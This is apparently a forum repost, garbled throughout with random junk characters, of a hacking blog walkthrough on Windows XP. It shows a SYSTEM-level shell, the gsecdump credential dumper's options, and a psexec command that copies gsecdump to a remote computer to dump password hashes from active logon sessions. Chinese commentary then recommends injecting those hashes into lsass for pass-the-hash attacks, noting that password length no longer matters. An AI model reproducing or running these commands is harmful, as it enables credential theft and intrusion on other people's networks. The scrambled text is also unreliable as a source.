' h* v i# M- K, d2 oThe service did not respond to the start or control request in a timely fashion. 5 c6 _: Q8 k7 Q: c # N( ]( ?4 n' _5 u( |( W& qC:\>sc delete shellcmdline & S9 |/ f& v5 e. E[SC] DeleteService SUCCESS 6 y9 J1 Y4 p) { E0 w2 U, v8 \: t- F4 I8 p------------ 0 ?! I( ]0 g3 E9 J. ^: m6 c a: c, [9 x8 VThen in the new DOS window:- d9 E5 U- x5 [& f4 a7 Q
: P( `$ A2 d' S+ b% q# w5 ?
Microsoft Windows XP [Version 5.1.2600] & a/ P$ q; j' Y: ]. c: V(C) Copyright 1985-2001 Microsoft Corp.' o! z' m+ c$ b
* D5 \3 x6 n8 h; }0 r' G
C:\WINDOWS\system32>whoami3 z' A) }) r; T( t9 v5 N# V
NT AUTHORITY\SYSTEM$ f, C% a8 B7 d* C5 y
! x0 S, H" y7 h6 H4 h* {# |: k% U6 DC:\WINDOWS\system32>gsecdump -h ) Y9 Y' x* \' A* g. e- Mgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)( C1 Q h; t! S+ o$ f- e/ u! @* q
usage: gsecdump [options] 8 c* o. T4 J/ l* I V , _; f, q- p% Q4 f. }& r( y" Hoptions:$ D$ G+ f% t# Q. V3 W
-h [ --help ] show help 6 o4 t" |+ ^: l0 `9 D0 i! g-a [ --dump_all ] dump all secrets2 C" B# p& }; t1 H9 D8 Q% J0 n4 B. c, O
-l [ --dump_lsa ] dump lsa secrets ( @4 B n( Y, M6 A& y4 B0 e" W: o4 I-w [ --dump_wireless ] dump microsoft wireless connections. P" Y; D9 R; ^2 \3 C; S
-u [ --dump_usedhashes ] dump hashes from active logon sessions- \( i& { i% x7 w N( x/ Y1 N# t
-s [ --dump_hashes ] dump hashes from SAM/AD " V* M0 t. i+ G$ u 6 c6 t/ b8 Y5 w; vAlthough I like to use:- H7 T5 _; ?" J
$ Z- U8 f' N4 x8 F2 l! E2 hC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT 7 P, y9 m7 K+ ^2 Y ; `" w0 e, J; y9 c3 d8 Rto get the hashes from active logon sessions of a remote system. ( n4 Z; Y+ K1 i/ q: z8 L- S 2 L+ h; Q) u3 C7 kThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables. / R, [4 V5 Q3 j! a5 j' F! B1 Z9 l* K) p y; v8 w- E0 r% p1 x
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了. / L3 `% T3 J) H1 P. d原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url] O' O1 Q; M$ Z
& W m( ^. ?) \# K% ^* V a我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。 & J5 _3 M1 P/ G, w0 u+ r6 I